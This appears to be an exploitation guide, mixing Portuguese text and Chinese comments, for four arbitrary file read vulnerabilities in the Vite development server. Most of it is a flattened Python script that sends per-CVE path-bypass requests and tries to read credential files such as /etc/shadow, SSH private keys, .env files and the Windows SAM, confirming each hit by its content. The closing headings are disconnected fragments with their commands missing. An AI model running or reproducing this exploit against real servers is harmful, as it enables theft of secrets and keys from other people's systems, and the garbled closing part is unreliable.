Guia de Exploração de Vulnerabilidades do Vite (CVE-2025-30208/31125/31486/32395)

Este documento resume os métodos de exploração de quatro vulnerabilidades de leitura arbitrária de arquivos no servidor de desenvolvimento Vite, incluindo exemplos para sistemas Linux e Windows. Atenção: Use apenas em ambientes de teste de segurança autorizados.

Princípios Básicos

As quatro vulnerabilidades no servidor de desenvolvimento Vite permitem que um atacante contorne a restrição server.fs.deny e leia arquivos arbitrários no servidor. Cada vulnerabilidade utiliza uma técnica de contorno diferente, mas os princípios básicos são semelhantes.

Condições de Impacto

Todas as quatro vulnerabilidades exigem as seguintes condições para serem exploradas:

O alvo utiliza uma versão afetada do servidor de desenvolvimento Vite
O servidor de desenvolvimento é explicitamente exposto à rede (usando a opção de configuração --host ou server.host)
Para CVE-2025-32395, é necessário também que o servidor esteja em execução em ambiente Node ou Bun (não Deno)

Métodos de Exploração

if target_url.endswith('/' ): target_url = target_url[:-1] # 解析URL获取主机和端口 parsed_url = urllib.parse.urlparse(target_url) host = parsed_url.hostname port = parsed_url.port # 如果端口未指定，根据协议设置默认端口 if port is None: port = 443 if parsed_url.scheme == 'https' else 80 print(f"[*] 测试目标: {target_url} (主机: {host}, 端口: {port} )") # 扩展的Linux测试路径 linux_test_paths = [ "/etc/passwd", "/etc/shadow", "/etc/hosts", "/etc/nginx/nginx.conf", "/var/www/html/config.php", "/var/www/html/wp-config.php", "/home/admin/.ssh/id_rsa", "/home/ubuntu/.ssh/id_rsa", "/root/.ssh/id_rsa", "/proc/self/environ", "/var/log/auth.log", "/etc/crontab", "/etc/mysql/my.cnf", "/var/www/html/.env", "/opt/tomcat/conf/server.xml" ] # 扩展的Windows测试路径 windows_test_paths = [ "C:/Windows/win.ini", "C:/Windows/system32/drivers/etc/hosts", "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt", "C:/inetpub/wwwroot/web.config", "C:/Program Files/MySQL/MySQL Server 8.0/my.ini", "C:/Users/Administrator/.ssh/id_rsa", "C:/Windows/Panther/Unattend.xml", "C:/xampp/php/php.ini", "C:/Program Files/Microsoft SQL Server/MSSQL15.SQLEXPRESS/MSSQL/DATA/master.mdf", "C:/Users/Administrator/Desktop/credentials.txt", "C:/ProgramData/MySQL/MySQL Server 8.0/Data/ibdata1", "C:/Windows/System32/config/SAM", "C:/Windows/repair/SAM", "C:/Windows/debug/NetSetup.log", "C:/Windows/iis6.log" ] # 所有测试路径 all_test_paths = linux_test_paths + windows_test_paths vulnerabilities = { "CVE-2025-30208": [ "/@fs{path}?raw??", "/@fs{path}?import&raw??" ], "CVE-2025-31125": [ "/@fs{path}?inline&import", "/@fs{path}?raw?import" ], "CVE-2025-31486": [ "{path}?.svg?.wasm?init", "/@fs/x/x/x/vite-project/?/../../../../../{path}?import&?raw" ], "CVE-2025-32395": [ "/@fs/x/#/../../../../../{path}" ] } # 首先测试基本路径是否可访问 try: r = requests.get(f"{target_url}/@vite/client", timeout=5, verify=False) if r.status_code != 200: print(f"[-] 目标可能不是Vite服务器，未找到/@vite/client路径") # 尝试其他可能的Vite标识 r = requests.get(f"{target_url}", timeout=5, verify=False) if "vite" not in r.text.lower() and "dev server" not in r.text.lower(): print(f"[-] 目标页面内容中未找到Vite相关标识") print(f"[*] 继续测试漏洞，忽略Vite标识检查...") else: print(f"[+] 确认目标是Vite服务器") except Exception as e: print(f"[-] 连接错误: {e}") print(f"[*] 继续测试漏洞，忽略连接错误...") # 生成随机文件名用于测试不存在的文件（避免误报） random_filename = ''.join(random.choice(string.ascii_lowercase) for i in range(10)) random_test = f"/tmp/{random_filename}.txt" # 测试CVE-2025-32395（需要自定义HTTP请求） def test_cve_2025_32395(path): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(5) s.connect((host, port)) # 根据协议构建请求 protocol = "HTTP/1.1" request = f"GET /@fs/x/#/../../../../../{path} {protocol}\r\nHost: {host}:{port}\r\nConnection: close\r\n\r\n" # 如果是HTTPS，需要包装SSL if parsed_url.scheme == 'https': import ssl context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT ) context.check_hostname = False context.verify_mode = ssl.CERT_NONE s = context.wrap_socket(s, server_hostname=host) s.send(request.encode()) response = b"" while True: chunk = s.recv(4096) if not chunk: break response += chunk s.close() response_text = response.decode('utf-8', errors='ignore') # 检查是否成功读取文件 if "HTTP/1.1 200" in response_text: content = response_text.split('\r\n\r\n')[1] if '\r\n\r\n' in response_text else "" if is_valid_file_content(path, content): print(f"[+] 发现漏洞 CVE-2025-32395! 路径: {path}") print(f"[+] 响应内容预览: {content[:100]}...") return True except Exception as e: print(f"[-] 测试 CVE-2025-32395 路径 {path} 时出错: {e}") return False # 检查文件内容是否有效 def is_valid_file_content(path, content): if not content: return False # 根据文件类型检查内容特征 if "passwd" in path and ("root:" in content or "nobody:" in content): return True elif "shadow" in path and ("root:" in content or "$" in content): return True elif "win.ini" in path and ("for 16-bit app support" in content or "[fonts]" in content): return True elif "hosts" in path and ("localhost" in content or "127.0.0.1" in content): return True elif ".ssh/id_rsa" in path and ("BEGIN" in content and "PRIVATE KEY" in content): return True elif "web.config" in path and ("<configuration" in content or "<connectionStrings" in content): return True elif ".php" in path and ("<?php" in content or "$" in content): return True elif ".env" in path and ("=" in content): return True elif ".xml" in path and ("<" in content and ">" in content): return True elif ".ini" in path and ("[" in content and "]" in content): return True elif ".log" in path and (len(content) > 10): return True elif ".txt" in path and (len(content) > 5): return True elif ".mdf" in path and (not content.isprintable()): # 二进制文件 return True # 通用检查：内容不为空且不是错误消息 return len(content) > 10 and "error" not in content.lower() and "not found" not in content.lower() # 测试所有漏洞和路径 found_vulnerabilities = [] # 首先测试CVE-2025-32395，因为它需要特殊处理 for path in all_test_paths: if test_cve_2025_32395(path): found_vulnerabilities.append(("CVE-2025-32395", path)) break # 测试其他漏洞 for cve, templates in vulnerabilities.items(): if cve == "CVE-2025-32395": continue # 已经测试过了 for path in all_test_paths: for template in templates: try: url = f"{target_url}{template.format(path=path)}" r = requests.get(url, timeout=5, verify=False) if r.status_code == 200 and is_valid_file_content(path, r.text): print(f"[+] 发现漏洞 {cve}! 路径: {path}, 模板: {template}") print(f"[+] 响应内容预览: {r.text[:100]}...") found_vulnerabilities.append((cve, path)) break except Exception as e: print(f"[-] 测试 {cve} 路径 {path} 模板 {template} 时出错: {e}") if any(cve == v[0] for v in found_vulnerabilities): break # 如果已经找到这个CVE的漏洞，就不再测试其他路径 # 测试随机文件名以验证是否存在误报 false_positives = [] for cve, templates in vulnerabilities.items(): if cve == "CVE-2025-32395": continue for template in templates: try: url = f"{target_url}{template.format(path=random_test)}" r = requests.get(url, timeout=5, verify=False) if r.status_code == 200 and len(r.text) > 10: false_positives.append(cve) break except: pass # 报告结果 if found_vulnerabilities: print("\n[+] 漏洞检测结果:") for cve, path in found_vulnerabilities: if cve in false_positives: print(f" [-] {cve}: 可能存在误报，请手动验证") else: print(f" [+] {cve}: 确认存在漏洞，可访问 {path}") return True else: print("[-] 未发现漏洞或目标已修复") return False

CVE-2025-30208-31125-31486-32395

Mais Populares

1. CVE-2025-30208 (Contorno do separador final)

读取任意文件

验证漏洞是否存在

2. CVE-2025-31125 (Bypass de método de importação específico)

读取任意文件

验证漏洞是否存在

3. CVE-2025-31486 (Contorno de SVG e Caminho Relativo)

SVG绕过方法

相对路径绕过方法

验证漏洞是否存在

4. CVE-2025-32395 (Bypass de destino de pedido inválido)

使用curl的--request-target选项

或使用原始HTTP请求

验证漏洞是否存在

Script de exploração abrangente

禁用SSL警告

Sistema Windows```

Linux路径测试

Windows路径测试